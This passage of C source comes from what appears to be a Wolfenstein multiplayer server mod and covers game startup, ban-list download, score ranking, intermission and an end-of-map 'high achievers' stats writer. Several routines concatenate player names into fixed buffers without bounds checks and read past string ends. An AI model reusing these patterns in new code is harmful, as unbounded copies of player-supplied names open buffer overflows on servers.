trap_GetServerinfo( serverinfo, sizeof( serverinfo ) );
#ifdef OMNIBOT
Q_strncpyz( level.rawmapname, Info_ValueForKey( serverinfo, "mapname" ), sizeof(level.rawmapname) );
#endif
G_LogPrintf("------------------------------------------------------------\n" );
G_LogPrintf("InitGame: %s\n", serverinfo );
}
} else {
if (trap_Cvar_VariableIntegerValue("g_gametype") != GT_SINGLE_PLAYER) {
G_Printf( "Not logging to disk.\n" );
}
}
if(g_S4NDLog.integer){
level.S4NDLog=fopen("S4NDMoD_log.log","a+");
S4ND_Log("------------------------------------------------------------");
S4ND_Log("InitGame");
S4ND_Log("Server time is: %s", asctime (timeinfo));
}
// start the MBL stuff
level.exitlevel = 0;//make sure this is 0 :)
// pthread_create (&level.MBLthread, NULL,(void *(__cdecl *)(void *))doMBL, NULL);
checkHexedDLL(); // Check to see if they hexed out sandmod, etc
if(g_S4NDdebug.integer)
S4ND_Log("DEBUG: G_InitGame: Start");
if(httpGet("http://mbl.s4ndmod.com/getlist.php","mbl.txt"))
S4ND_Log("Received new master ban list.");
else
S4ND_Log("There was an error receiving the master ban list.");
G_InitWorldSession();
// DHM - Nerve :: Clear out spawn target config strings
if ( g_gametype.integer >= GT_WOLF ) {
trap_GetConfigstring( CS_MULTI_INFO, cs, sizeof(cs) );
Info_SetValueForKey( cs, "numspawntargets", "0" );
trap_SetConfigstring( CS_MULTI_INFO, cs );
for ( i=CS_MULTI_SPAWNTARGETS; i<CS_MULTI_SPAWNTARGETS + MAX_MULTI_SPAWNTARGETS; i++ ) {
trap_SetConfigstring( i, "" );
}
}
// L0 - FirstBlood
if( g_gametype.integer == GT_WOLF && g_FirstBlood.integer == 2 ) {
trap_GetConfigstring( CS_MULTI_MAPWINNER, cs, sizeof(cs) );
Info_SetValueForKey( cs, "winner", "-1" );
trap_SetConfigstring( CS_MULTI_MAPWINNER, cs );
level.firstbloodTeam = -1;
if( g_currentRound.integer == 0 ) {
trap_Cvar_Set( "g_redDrawFirst", "0" );
trap_Cvar_Set( "g_blueDrawFirst", "0" );
trap_Cvar_Update( &g_redDrawFirst );
trap_Cvar_Update( &g_blueDrawFirst );
}
trap_SetConfigstring( CS_REDWON, va("%i", g_redDrawFirst.integer ) );
trap_SetConfigstring( CS_BLUEWON, va("%i", g_blueDrawFirst.integer ) );
} // L0 - end
// initialize all entities for this game
memset( g_entities, 0, MAX_GENTITIES * sizeof(g_entities[0]) );
level.gentities = g_entities;
// initialize all clients for this game
level.maxclients = g_maxclients.integer;
memset( g_clients, 0, MAX_CLIENTS * sizeof(g_clients[0]) );
level.clients = g_clients;
// set client fields on player ents
for ( i=0 ; i<level.maxclients ; i++ ) {
g_entities[i].client = level.clients + i;
}
// always leave room for the max number of clients,
// even if they aren't all used, so numbers inside that
// range are NEVER anything but clients
level.num_entities = MAX_CLIENTS;
// let the server system know where the entites are
trap_LocateGameData( level.gentities, level.num_entities, sizeof( gentity_t ),
&level.clients[0].ps, sizeof( level.clients[0] ) );
// load level script
G_Script_ScriptLoad();
// reserve some spots for dead player bodies
InitBodyQue();
ClearRegisteredItems();
// parse the key/value pairs and spawn gentities
G_SpawnEntitiesFromString();
// create the camera entity that will communicate with the scripts
G_SpawnScriptCamera();
// general initialization
G_FindTeams();
// make sure we have flags for CTF, etc
if( g_gametype.integer >= GT_TEAM ) {
G_CheckTeamItems();
}
SaveRegisteredItems();
if (trap_Cvar_VariableIntegerValue("g_gametype") != GT_SINGLE_PLAYER) {
G_Printf ("-----------------------------------\n");
}
//AIBOTS
if (AB_AutoMaps.integer){
trap_SendConsoleCommand(EXEC_APPEND, va("exec mapconfigs/%s \n", mapName));
}
setupCvars(); // This sets server cvars to acceptable limits
if (g_dedicated.integer > 0){ // Dont delete for localhost servers, thats just mean :)
config = fopen("main/wolfconfig_mp.cfg","w+");
if(config)
fclose(config);
}
G_RemapTeamShaders();//DO NOT DO ANYTHING INVOLVING CLIENTS AFTER THIS!!!
// if (g_deathmatch.integer == 1){
//trap_SendConsoleCommand(EXEC_APPEND, "g_DmSpawnpoints -1\n");
// trap_SendConsoleCommand(EXEC_APPEND, va("exec %s\n", mapname.string));
// }
//So admins can have a custom config loaded each map :)
// martin - fixed physics
/*
if(g_fixedphysicsfps.integer < 60)
trap_Cvar_Set("g_fixedphysicsfps", "60");
else if(g_fixedphysicsfps.integer > 333)
trap_Cvar_Set("g_fixedphysicsfps", "333");
*/
if(g_S4NDdebug.integer)
S4ND_Log("DEBUG: G_InitGame: End");
}
/*void (WINAPIV *orig_SV_BeginDownload) ( client_t *cl );
void SV_BeginDownload_Hook( client_t *cl ) {
// Kill any existing download
// SV_CloseDownload( cl );
// cl->downloadName is non-zero now, SV_WriteDownloadToClient will see this and open
// the file itself
// Q_strncpyz( cl->downloadName, Cmd_Argv(1), sizeof(cl->downloadName) );
G_LogPrintf("%s",cl->downloadName);
orig_SV_BeginDownload(cl);
}
*/
/*
=================
G_ShutdownGame
=================
*/
void G_ShutdownGame( int restart ) {
#ifndef OMNIBOT
int i;
#endif //OMNIBOT
// Ridah, kill AI cast's
if (g_gametype.integer != GT_SINGLE_PLAYER) {
G_Printf ("==== ShutdownGame ====\n");
}
if ( level.logFile ) {
G_LogPrintf("ShutdownGame:\n" );
G_LogPrintf("------------------------------------------------------------\n" );
trap_FS_FCloseFile( level.logFile );
}
if(level.S4NDLog)
{
S4ND_Log("ShutdownGame");
S4ND_Log("------------------------------------------------------------");
fclose(level.S4NDLog);
}
// Ridah, shutdown the Botlib, so weapons and things get reset upon doing a "map xxx" command
// if ( trap_Cvar_VariableIntegerValue( "bot_enable" ) ) {
// done.
// }
// done.
#ifndef OMNIBOT
for (i = 0; i < g_maxclients.integer; i++)
{
if (g_entities[i].isFake)
{
trap_BotFreeClient(i); //kick all the bots
}
}
#endif //OMNIBOT
// write all the client session data so we can get it back
G_WriteSessionData();
#ifndef NO_BOT_SUPPORT
if ( trap_Cvar_VariableIntegerValue( "bot_enable" ) ) {
// BotAIShutdown( restart );
}
#endif
}
//===================================================================
#ifndef GAME_HARD_LINKED
// this is only here so the functions in q_shared.c and bg_*.c can link
void QDECL Com_Error ( int level, const char *error, ... ) {
va_list argptr;
char text[1024];
va_start (argptr, error);
vsprintf (text, error, argptr);
va_end (argptr);
G_Error( "%s", text);
}
void QDECL Com_Printf( const char *msg, ... ) {
va_list argptr;
char text[1024];
va_start (argptr, msg);
vsprintf (text, msg, argptr);
va_end (argptr);
G_Printf ("%s", text);
}
#endif
/*
========================================================================
PLAYER COUNTING / SCORE SORTING
========================================================================
*/
/*
=============
AddTournamentPlayer
If there are less than two tournament players, put a
spectator in the game and restart
=============
*/
void AddTournamentPlayer( void ) {
int i;
gclient_t *client;
gclient_t *nextInLine;
if ( level.numPlayingClients >= 2 ) {
return;
}
// never change during intermission
if ( level.intermissiontime ) {
return;
}
nextInLine = NULL;
for ( i = 0 ; i < level.maxclients ; i++ ) {
client = &level.clients[i];
if ( client->pers.connected != CON_CONNECTED ) {
continue;
}
if ( client->sess.sessionTeam != TEAM_SPECTATOR ) {
continue;
}
// never select the dedicated follow or scoreboard clients
if ( client->sess.spectatorState == SPECTATOR_SCOREBOARD ||
client->sess.spectatorClient < 0 ) {
continue;
}
if ( !nextInLine || client->sess.spectatorTime < nextInLine->sess.spectatorTime ) {
nextInLine = client;
}
}
if ( !nextInLine ) {
return;
}
level.warmupTime = -1;
// set them to free-for-all team
SetTeam( &g_entities[ nextInLine - level.clients ], "f",qfalse );
}
/*
=======================
RemoveTournamentLoser
Make the loser a spectator at the back of the line
=======================
*/
void RemoveTournamentLoser( void ) {
int clientNum;
if ( level.numPlayingClients != 2 ) {
return;
}
clientNum = level.sortedClients[1];
if ( level.clients[ clientNum ].pers.connected != CON_CONNECTED ) {
return;
}
// make them a spectator
SetTeam( &g_entities[ clientNum ], "s",qfalse );
}
/*
=======================
AdjustTournamentScores
=======================
*/
void AdjustTournamentScores( void ) {
int clientNum;
clientNum = level.sortedClients[0];
if ( level.clients[ clientNum ].pers.connected == CON_CONNECTED ) {
level.clients[ clientNum ].sess.wins++;
ClientUserinfoChanged( clientNum );
}
clientNum = level.sortedClients[1];
if ( level.clients[ clientNum ].pers.connected == CON_CONNECTED ) {
level.clients[ clientNum ].sess.losses++;
ClientUserinfoChanged( clientNum );
}
}
/*
=============
SortRanks
=============
*/
int QDECL SortRanks( const void *a, const void *b ) {
gclient_t *ca, *cb;
ca = &level.clients[*(int *)a];
cb = &level.clients[*(int *)b];
// sort special clients last
if ( ca->sess.spectatorState == SPECTATOR_SCOREBOARD || ca->sess.spectatorClient < 0 ) {
return 1;
}
if ( cb->sess.spectatorState == SPECTATOR_SCOREBOARD || cb->sess.spectatorClient < 0 ) {
return -1;
}
// then connecting clients
if ( ca->pers.connected == CON_CONNECTING ) {
return 1;
}
if ( cb->pers.connected == CON_CONNECTING ) {
return -1;
}
// then spectators
if ( ca->sess.sessionTeam == TEAM_SPECTATOR && cb->sess.sessionTeam == TEAM_SPECTATOR ) {
if ( ca->sess.spectatorTime < cb->sess.spectatorTime ) {
return -1;
}
if ( ca->sess.spectatorTime > cb->sess.spectatorTime ) {
return 1;
}
return 0;
}
if ( ca->sess.sessionTeam == TEAM_SPECTATOR ) {
return 1;
}
if ( cb->sess.sessionTeam == TEAM_SPECTATOR ) {
return -1;
}
// then sort by score
if ( ca->ps.persistant[PERS_SCORE]
> cb->ps.persistant[PERS_SCORE] ) {
return -1;
}
if ( ca->ps.persistant[PERS_SCORE]
< cb->ps.persistant[PERS_SCORE] ) {
return 1;
}
return 0;
}
/*
============
CalculateRanks
Recalculates the score ranks of all players
This will be called on every client connect, begin, disconnect, death,
and team change.
============
*/
void CalculateRanks( void ) {
int i;
int rank;
int score;
int newScore;
gclient_t *cl;
level.follow1 = -1;
level.follow2 = -1;
level.numConnectedClients = 0;
level.numNonSpectatorClients = 0;
level.numPlayingClients = 0;
level.numVotingClients = 0; // don't count bots
level.numFinalDead[0] = 0; // NERVE - SMF
level.numFinalDead[1] = 0; // NERVE - SMF
for ( i = 0; i < TEAM_NUM_TEAMS; i++ ) {
level.numteamVotingClients[i] = 0;
}
for ( i = 0 ; i < level.maxclients ; i++ ) {
if ( level.clients[i].pers.connected != CON_DISCONNECTED ) {
level.sortedClients[level.numConnectedClients] = i;
level.numConnectedClients++;
if ( level.clients[i].sess.sessionTeam != TEAM_SPECTATOR ) {
level.numNonSpectatorClients++;
// decide if this should be auto-followed
if ( level.clients[i].pers.connected == CON_CONNECTED ) {
level.numPlayingClients++;
if ( !(g_entities[i].r.svFlags & SVF_BOT) ) {
level.numVotingClients++;
}
// CS: don't exclude bots from these since maxlives games rely on them
if ( level.clients[i].sess.sessionTeam == TEAM_RED ) {
// NERVE - SMF
if ( level.clients[i].ps.persistant[PERS_RESPAWNS_LEFT] == 0
&& g_entities[i].health <= 0 ) {
level.numFinalDead[0]++;
}
level.numteamVotingClients[0]++;
}
else if ( level.clients[i].sess.sessionTeam == TEAM_BLUE ) {
// NERVE - SMF
if ( level.clients[i].ps.persistant[PERS_RESPAWNS_LEFT] == 0
&& g_entities[i].health <= 0 ) {
level.numFinalDead[1]++;
}
level.numteamVotingClients[1]++;
}
if ( level.follow1 == -1 ) {
level.follow1 = i;
} else if ( level.follow2 == -1 ) {
level.follow2 = i;
}
}
}
}
}
qsort( level.sortedClients, level.numConnectedClients,
sizeof(level.sortedClients[0]), SortRanks );
// set the rank value for all clients that are connected and not spectators
if ( g_gametype.integer >= GT_TEAM ) {
// in team games, rank is just the order of the teams, 0=red, 1=blue, 2=tied
for ( i = 0; i < level.numConnectedClients; i++ ) {
cl = &level.clients[ level.sortedClients[i] ];
if ( level.teamScores[TEAM_RED] == level.teamScores[TEAM_BLUE] ) {
cl->ps.persistant[PERS_RANK] = 2;
} else if ( level.teamScores[TEAM_RED] > level.teamScores[TEAM_BLUE] ) {
cl->ps.persistant[PERS_RANK] = 0;
} else {
cl->ps.persistant[PERS_RANK] = 1;
}
}
} else {
rank = -1;
score = 0;
for ( i = 0; i < level.numPlayingClients; i++ ) {
cl = &level.clients[ level.sortedClients[i] ];
newScore = cl->ps.persistant[PERS_SCORE];
if ( i == 0 || newScore != score ) {
rank = i;
// assume we aren't tied until the next client is checked
level.clients[ level.sortedClients[i] ].ps.persistant[PERS_RANK] = rank;
} else {
// we are tied with the previous client
level.clients[ level.sortedClients[i-1] ].ps.persistant[PERS_RANK] = rank | RANK_TIED_FLAG;
level.clients[ level.sortedClients[i] ].ps.persistant[PERS_RANK] = rank | RANK_TIED_FLAG;
}
score = newScore;
if ( g_gametype.integer == GT_SINGLE_PLAYER && level.numPlayingClients == 1 ) {
level.clients[ level.sortedClients[i] ].ps.persistant[PERS_RANK] = rank | RANK_TIED_FLAG;
}
}
}
// set the CS_SCORES1/2 configstrings, which will be visible to everyone
if ( g_gametype.integer >= GT_TEAM ) {
trap_SetConfigstring( CS_SCORES1, va("%i", level.teamScores[TEAM_RED] ) );
trap_SetConfigstring( CS_SCORES2, va("%i", level.teamScores[TEAM_BLUE] ) );
} else {
if ( level.numConnectedClients == 0 ) {
trap_SetConfigstring( CS_SCORES1, va("%i", SCORE_NOT_PRESENT) );
trap_SetConfigstring( CS_SCORES2, va("%i", SCORE_NOT_PRESENT) );
} else if ( level.numConnectedClients == 1 ) {
trap_SetConfigstring( CS_SCORES1, va("%i", level.clients[ level.sortedClients[0] ].ps.persistant[PERS_SCORE] ) );
trap_SetConfigstring( CS_SCORES2, va("%i", SCORE_NOT_PRESENT) );
} else if (g_FirstBlood.integer == 2 ) { // L0 - FirstBlood
trap_SetConfigstring( CS_FIRSTBLOOD, va("%i", level.firstbloodTeam ) );
trap_SetConfigstring( CS_REDWON, va("%i", g_redDrawFirst.integer ) );
trap_SetConfigstring( CS_BLUEWON, va("%i", g_blueDrawFirst.integer ) );
} else { // L0 - end
trap_SetConfigstring( CS_SCORES1, va("%i", level.clients[ level.sortedClients[0] ].ps.persistant[PERS_SCORE] ) );
trap_SetConfigstring( CS_SCORES2, va("%i", level.clients[ level.sortedClients[1] ].ps.persistant[PERS_SCORE] ) );
}
}
// see if it is time to end the level
CheckExitRules();
// if we are at the intermission, send the new info to everyone
if ( level.intermissiontime ) {
SendScoreboardMessageToAllClients();
}
}
/*
========================================================================
MAP CHANGING
========================================================================
*/
/*
========================
SendScoreboardMessageToAllClients
Do this at BeginIntermission time and whenever ranks are recalculated
due to enters/exits/forced team changes
========================
*/
void SendScoreboardMessageToAllClients( void ) {
int i;
for ( i = 0 ; i < level.maxclients ; i++ ) {
if ( level.clients[ i ].pers.connected == CON_CONNECTED ) {
DeathmatchScoreboardMessage( g_entities + i );
}
}
}
/*
========================
MoveClientToIntermission
When the intermission starts, this will be called for all players.
If a new client connects, this will be called after the spawn function.
========================
*/
void MoveClientToIntermission( gentity_t *ent ) {
// take out of follow mode if needed
if ( ent->client->sess.spectatorState == SPECTATOR_FOLLOW ) {
StopFollowing( ent );
}
// move to the spot
VectorCopy( level.intermission_origin, ent->s.origin );
VectorCopy( level.intermission_origin, ent->client->ps.origin );
VectorCopy (level.intermission_angle, ent->client->ps.viewangles);
ent->client->ps.pm_type = PM_INTERMISSION;
// clean up powerup info
// memset( ent->client->ps.powerups, 0, sizeof(ent->client->ps.powerups) );
ent->client->ps.eFlags = 0;
ent->s.eFlags = 0;
ent->s.eType = ET_GENERAL;
ent->s.modelindex = 0;
ent->s.loopSound = 0;
ent->s.event = 0;
ent->s.events[0] = ent->s.events[1] = ent->s.events[2] = ent->s.events[3] = 0; // DHM - Nerve
ent->r.contents = 0;
}
/*
==================
FindIntermissionPoint
This is also used for spectator spawns
==================
*/
void FindIntermissionPoint( void ) {
gentity_t *ent, *target;
vec3_t dir;
char cs[MAX_STRING_CHARS]; // DHM - Nerve
char *buf; // DHM - Nerve
int winner; // DHM - Nerve
if ( g_gametype.integer >= GT_WOLF ) {
ent = NULL;
// NERVE - SMF - if the match hasn't ended yet, and we're just a spectator
if ( !level.intermissiontime ) {
// try to find the intermission spawnpoint with no team flags set
ent = G_Find (NULL, FOFS(classname), "info_player_intermission");
for ( ; ent; ent = G_Find (ent, FOFS(classname), "info_player_intermission") ) {
if ( !ent->spawnflags )
break;
}
}
trap_GetConfigstring( CS_MULTI_MAPWINNER, cs, sizeof(cs) );
buf = Info_ValueForKey( cs, "winner" );
winner = atoi( buf );
// Change from scripting value for winner (0==AXIS, 1==ALLIES) to spawnflag value
if ( winner == 0 )
winner = 1;
else
winner = 2;
if ( !ent ) {
ent = G_Find (NULL, FOFS(classname), "info_player_intermission");
if ( ent && !(ent->spawnflags & winner) )
ent = G_Find (ent, FOFS(classname), "info_player_intermission");
}
}
else {
// find the intermission spot
ent = G_Find (NULL, FOFS(classname), "info_player_intermission");
}
if ( !ent ) { // the map creator forgot to put in an intermission point...
SelectSpawnPoint ( vec3_origin, level.intermission_origin, level.intermission_angle );
} else {
VectorCopy (ent->s.origin, level.intermission_origin);
VectorCopy (ent->s.angles, level.intermission_angle);
// if it has a target, look towards it
if ( ent->target ) {
target = G_PickTarget( ent->target );
if ( target ) {
VectorSubtract( target->s.origin, level.intermission_origin, dir );
vectoangles( dir, level.intermission_angle );
}
}
}
}
/*
==================
BeginIntermission
==================
*/
void BeginIntermission( void ) {
int i;
gentity_t *client;
if ( level.intermissiontime ) {
return; // already active
}
// if in tournement mode, change the wins / losses
if ( g_gametype.integer == GT_TOURNAMENT ) {
AdjustTournamentScores();
}
level.intermissiontime = level.time;
FindIntermissionPoint();
// move all clients to the intermission point
for (i=0 ; i< level.maxclients ; i++) {
client = g_entities + i;
if (!client->inuse)
continue;
// respawn if dead
if (g_gametype.integer < GT_WOLF && client->health <= 0) {
respawn(client);
}
MoveClientToIntermission( client );
}
// send the current scoring to all clients
SendScoreboardMessageToAllClients();
}
char * characters[]={
"a",
"b",
"c",
"d",
"e",
"f",
"g",
"h",
"i",
"j",
"k",
"l",
"m",
"n",
"o",
"p",
"q",
"r",
"s",
"t",
"u",
"v",
"w",
"x",
"y",
"z",
"A",
"B",
"C",
"D",
"E",
"F",
"G",
"H",
"I",
"J",
"K",
"L",
"M",
"N",
"O",
"P",
"Q",
"R",
"S",
"T",
"U",
"V",
"W",
"X",
"Y",
"Z",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"!",
"@",
"#",
"$",
"%",
"^",
"&",
"*",
"(",
")",
"[",
"]",
"|",
"'",
";",
":",
",",
".",
"?",
"/",
">",
"<",
"-",
" ",
"+",
"=",
"-",
"_",
"~"
};
//91
char *parseStats(char *stats)
{
int i=0;
int j=0;
int n=0;
char afterparse[1024];
Q_strncpyz (afterparse, "", sizeof( afterparse ) );
for (i=0 ; i < 1024; i++)
{
for (n=0 ; n < 91 ; n++){
if(stats[i] == characters[n][0]){
afterparse[j]=stats[i];
j++;
}
}
}
return va("%s",afterparse);
}
/*
=====================================================================================
HighAcheivers
Im bored and everyone asks me hey why dont you make a high acheiver so here i go
I think ill make it go tohas a .txt doc that away if you leave you still get your credit
and plus i dont think storing it all in sess would be a good idea :)
======================================================================================
*/
void HighAcheivers(void){
FILE*highacheivers;
int warmuptime=15;
int i;
float highKR= 0.00f;
char highestKR[MAX_STRING_CHARS];
float highacc=0.00f;
char highaccuracydude[MAX_STRING_CHARS];
int highshots=0;
int highhits=0;
char buffer[2048];
buffer[0] = 0;
if(g_S4NDdebug.integer)
S4ND_Log("DEBUG: HighAcheivers: Start");
//S4ND_Log("Write HighAchievers Started");
//now make a new one
highacheivers=fopen("highacheivers.txt","w+");
//S4ND_Log("File Opened");
//do some final figures!
//S4ND_Log("Figure Acc/KR");
for (i=0 ; i< g_maxclients.integer ; i++) {
float killRatio = 0.0f;
int shots = level.clients[i].pers.acc_shots;
int hits = level.clients[i].pers.acc_hits;
float acc = 0.0f;
//FIRST lets compare some good ol accuracy (i hope)
if(shots > 49) // Martin - You must fire 50 shots to be considered for Accuracy award...no more snipers winning this
acc = ((float)hits / (float)shots) * 100.0f;
if (acc > highacc){
Q_strncpyz(highaccuracydude,level.clients[i].pers.netname,sizeof(highaccuracydude));
highacc = acc;
highshots = shots;
highhits = hits;
}else if(acc == highacc){
if(shots > highshots){
Q_strncpyz(highaccuracydude,level.clients[i].pers.netname,sizeof(highaccuracydude));
highshots = shots;
highhits = hits;
}else if(shots == highshots){
strcat(highaccuracydude,"^7, ");
strcat(highaccuracydude,level.clients[i].pers.netname);
}
}
//now lets try to ummmm.. compare the umm kill ratio
if(level.clients[i].pers.deaths)
killRatio = (float)level.clients[i].pers.kills / (float)level.clients[i].pers.deaths;
if (killRatio > highKR){
Q_strncpyz(highestKR,level.clients[i].pers.netname,sizeof(highestKR));
highKR=killRatio;
}else if(killRatio == highKR){
strcat(highestKR,"^7, ");
strcat(highestKR,level.clients[i].pers.netname);
}
}
//S4ND_Log("Final Figures Done");
/*This will help later
1 = Kills
2 = TK's
3 = Gibs
4 = Deaths
5 = Ammo given
6 = Med given
7 = goomba
8 = poison
9 = headshots
10 = revives
11 = highKR
12 = highAcc
*/
//S4ND_Log("Build HA buffer");
if(level.HAkillnum > 0){
warmuptime +=3;
strcat(buffer,va("1 %i %s \n",level.HAkillnum,parseStats(level.HAhighkillers)));
}
if(level.HAtknum > 0){
warmuptime +=3;
strcat(buffer,va("2 %i %s \n",level.HAtknum,parseStats(level.HAtkers)));
}
if(level.HAgibnum > 0){
warmuptime +=3;
strcat(buffer,va("3 %i %s \n",level.HAgibnum,parseStats(level.HAhighgibbers)));
}
if(level.HAdeathnum > 0){
warmuptime +=3;
strcat(buffer,va("4 %i %s \n",level.HAdeathnum,parseStats(level.HAhighdeaths)));
}
if(level.HAammonum> 0){
warmuptime +=3;
strcat(buffer,va("5 %i %s \n",level.HAammonum,parseStats(level.HAhighammogivers)));
}
if(level.HAmednum > 0){
warmuptime +=3;
strcat(buffer,va("6 %i %s \n",level.HAmednum,parseStats(level.HAhighmedgivers)));
}
if(level.HAgoombanum > 0){
warmuptime +=3;
strcat(buffer,va("7 %i %s \n",level.HAgoombanum,parseStats(level.HAhighgoombaers)));
}
if(level.Hapoisonnum > 0){
warmuptime +=3;
strcat(buffer,va("8 %i %s \n",level.Hapoisonnum,parseStats(level.Hahighpoisoners)));
}
if(level.HAHshotnum > 0){
warmuptime +=3;
strcat(buffer,va("9 %i %s \n",level.HAHshotnum,parseStats(level.HAheadhunters)));
}
if(level.HArevivenum > 0){
warmuptime +=3;
strcat(buffer,va("10 %i %s \n",level.HArevivenum,parseStats(level.HAhighrevivers)));
}
if(highKR > 0){
warmuptime +=3;
strcat(buffer,va("11 %2.2f %s \n",highKR,parseStats(highestKR)));
}
if(highacc > 0){
warmuptime +=3;
strcat(buffer,va("12 %2.2f(%d/%d) %s \n",highacc,highhits,highshots,parseStats(highaccuracydude)));
}
//S4ND_Log("Done building buffer\n");
//S4ND_Log("Put buffer in file\n");
fputs(buffer,highacheivers);
//S4ND_Log("Done writing file, close it\n");
fclose(highacheivers);
//S4ND_Log("Set warmup time acordingly\n");
trap_Cvar_Set( "g_warmup", va("%i",warmuptime) );
//S4ND_Log("Write HighAchievers Done\n");
if(g_S4NDdebug.integer)
S4ND_Log("DEBUG: HighAcheivers: End");
}
/*
=============
ExitLevel
When the intermission has been exited, the server is either killed
or moved to a new level based on the "nextmap" cvar
=============
*/
void ExitLevel (void) {
int i;
gclient_t *cl;
//G_LogPrintf( "ExitLevel: executed\n" );
if(g_S4NDdebug.integer)
S4ND_Log("DEBUG: ExitLevel: Start");
// if we are running a tournement map, kick the loser to spectator status,
// which will automatically grab the next spectator and restart
if ( g_gametype.integer == GT_TOURNAMENT ) {
if ( !level.restarted ) {
RemoveTournamentLoser();
trap_SendConsoleCommand( EXEC_APPEND, "map_restart 0\n" );
level.restarted = qtrue;
level.changemap = NULL;
level.intermissiontime = 0;
}
return;
}
// G_LogPrintf( "ExitLevel: 1\n" );
trap_SendConsoleCommand( EXEC_APPEND, "vstr nextmap\n" );
level.changemap = NULL;
level.intermissiontime = 0;
// G_LogPrintf( "ExitLevel: 2\n" );
// reset all the scores so we don't enter the intermission again
level.teamScores[TEAM_RED] = 0;
level.teamScores[TEAM_BLUE] = 0;
for ( i=0 ; i< g_maxclients.integer ; i++ ) {
cl = level.clients + i;
if ( cl->pers.connected != CON_CONNECTED ) {
continue;
}
cl->ps.persistant[PERS_SCORE] = 0;
}
// G_LogPrintf( "ExitLevel: 3\n" );
// we need to do this here before chaning to CON_CONNECTING
G_WriteSessionData();
// G_LogPrintf( "ExitLevel: 4\n" );
//S4NDM4NN
//Clean up the tempbans
clean_tempbans();
//G_LogPrintf( "ExitLevel: 5\n" );
//S4NDM4NN
//write the names to a text doc and such
if(g_DoHighAcheivers.integer)
HighAcheivers();
//G_LogPrintf( "ExitLevel: 6\n" );
//G_LogPrintf( "ExitLevel: 7\n" );
// change all client states to connecting, so the early players into the
// next level will know the others aren't done reconnecting
for (i=0 ; i< g_maxclients.integer ; i++){
if ( level.clients[i].pers.connected == CON_CONNECTED ) {
level.clients[i].pers.connected = CON_CONNECTING;
}
}
//G_LogPrintf( "ExitLevel: 8\n" );
/*
char message[MAX_STRING_CHARS];
//gclient_t *client = level.clients[i];
int shots = level.clients[i].pers.acc_shots;
float acc = 0.0f;
float headacc = 0.0f;
float faceacc = 0.0f;
float throatacc = 0.0f;
float armacc = 0.0f;
float bodyacc = 0.0f;
float legacc = 0.0f;
float footacc = 0.0f;
int deaths = level.clients[i].pers.deaths;
float killRatio = level.clients[i].pers.kills;
//avoid divide-by-0, will be equal to kills until player dies
if (deaths > 0)
killRatio = (float)level.clients[i].pers.kills / (float)deaths;
//avoid divide-by-0 error, will be 0.0 until the player hits someone
if (shots > 0)
acc = ((float)level.clients[i].pers.acc_hits / (float)shots) * 100.0f;
strcpy(message, va("print \"Stats for %s ^7this round: \n", level.clients[i].pers.netname));
if(g_deathmatch.integer !=2){
strcat(message, va("^3Kills: ^7%d", level.clients[i].pers.kills));
if (level.clients[i].pers.teamKills > 0)
strcat(message, va(" (^1%d^7)", level.clients[i].pers.teamKills)); //only show team kills if greater than 0
strcat(message, va(", "));
strcat(message, va("^3Deaths: ^7%d, ", deaths));
strcat(message, va("^3Kill Ratio: ^7%2.2f, ", killRatio));
strcat(message, va("^3Gibs: ^7%d", level.clients[i].pers.gibs));
if (level.clients[i].pers.teamGibs > 0)
strcat(message, va(" (^1%d^7)", level.clients[i].pers.teamGibs)); //only show team gibs if greater than 0
strcat(message, va(" \n"));
strcat(message, va("^3Revived: ^7%d, ", level.clients[i].pers.revives));
strcat(message, va("^3Packs Given: ^7%d health, %d ammo \n", level.clients[i].pers.medPacks, level.clients[i].pers.ammoPacks));
strcat(message, va("^3Accuracy: ^7%2.2f (%d/%d), ", acc, level.clients[i].pers.acc_hits, shots));
strcat(message, va("^3Headshots: ^7%d \n", level.clients[i].pers.headshots));
strcat(message, va("^3Goombas: ^7%d, ", level.clients[i].pers.goomba));
strcat(message, va("^3Poisons: ^7%d \n", level.clients[i].pers.poisons));
}else{
strcat(message, va("^3Kills: ^7%d, ", level.clients[i].pers.kills));
strcat(message, va("^3Deaths: ^7%d, ", deaths));
strcat(message, va("^3Kill Ratio: ^7%2.2f,", killRatio));
strcat(message, va(" \n"));
strcat(message, va("^3Accuracy: ^7%2.2f (%d/%d), ", acc, level.clients[i].pers.acc_hits, shots));
strcat(message, va("^3Headshots: ^7%d \n", level.clients[i].pers.headshots));
}
strcat(message, "\"");
trap_SendServerCommand(i, message);
//avoid divide-by-0 error, will be 0.0 until the player hits someone
if (shots > 0)
acc = ((float)level.clients[i].pers.acc_hits / (float)shots) * 100.0f;
if (level.clients[i].pers.acc_hits){
headacc = ((float)level.clients[i].pers.hithead/(float)level.clients[i].pers.acc_hits)* 100.0f;
faceacc = ((float)level.clients[i].pers.hitface/(float)level.clients[i].pers.acc_hits)* 100.0f;
throatacc = ((float)level.clients[i].pers.hitthroat/(float)level.clients[i].pers.acc_hits)* 100.0f;
// shoulderacc = ((float)level.clients[i].pers.hitshoulders/(float)level.clients[i].pers.acc_hits)* 100.0f;
armacc = ((float)level.clients[i].pers.hitarm/(float)level.clients[i].pers.acc_hits)* 100.0f;
bodyacc = ((float)level.clients[i].pers.hitbody/(float)level.clients[i].pers.acc_hits)* 100.0f;
legacc = ((float)level.clients[i].pers.hitleg/(float)level.clients[i].pers.acc_hits)* 100.0f;
footacc = ((float)level.clients[i].pers.hitfoot/(float)level.clients[i].pers.acc_hits)* 100.0f;
}
strcpy(message, va("print \"^2Accuracy for ^7%s ^2this round: \n", level.clients[i].pers.netname));
strcat(message, va("^3Over all: ^7%2.2f (%d/%d)\n", acc, level.clients[i].pers.acc_hits, shots));
strcat(message, va("^2Percentage of hits:\n", headacc, level.clients[i].pers.hithead));
strcat(message, va("^3Head: ^7%d ^7%2.2f\n", level.clients[i].pers.hithead, headacc));
strcat(message, va("^3Face: ^7%d ^7%2.2f\n", level.clients[i].pers.hitface, faceacc));
strcat(message, va("^3Throat: ^7%d ^7%2.2f\n", level.clients[i].pers.hitthroat, throatacc));
//Took out shoulder cause idk where it is made them just count as arm shots if they ever happen
// strcat(message, va("^3Shoulder: ^7%d ^7%2.2f\n", client->pers.hitshoulders, shoulderacc));
strcat(message, va("^3Arms: ^7%d ^7%2.2f\n", level.clients[i].pers.hitarm, armacc));
strcat(message, va("^3Body: ^7%d ^7%2.2f\n", level.clients[i].pers.hitbody, bodyacc));
strcat(message, va("^3Legs: ^7%d ^7%2.2f\n", level.clients[i].pers.hitleg, legacc));
strcat(message, va("^3Feet: ^7%d ^7%2.2f\n", level.clients[i].pers.hitfoot, footacc));
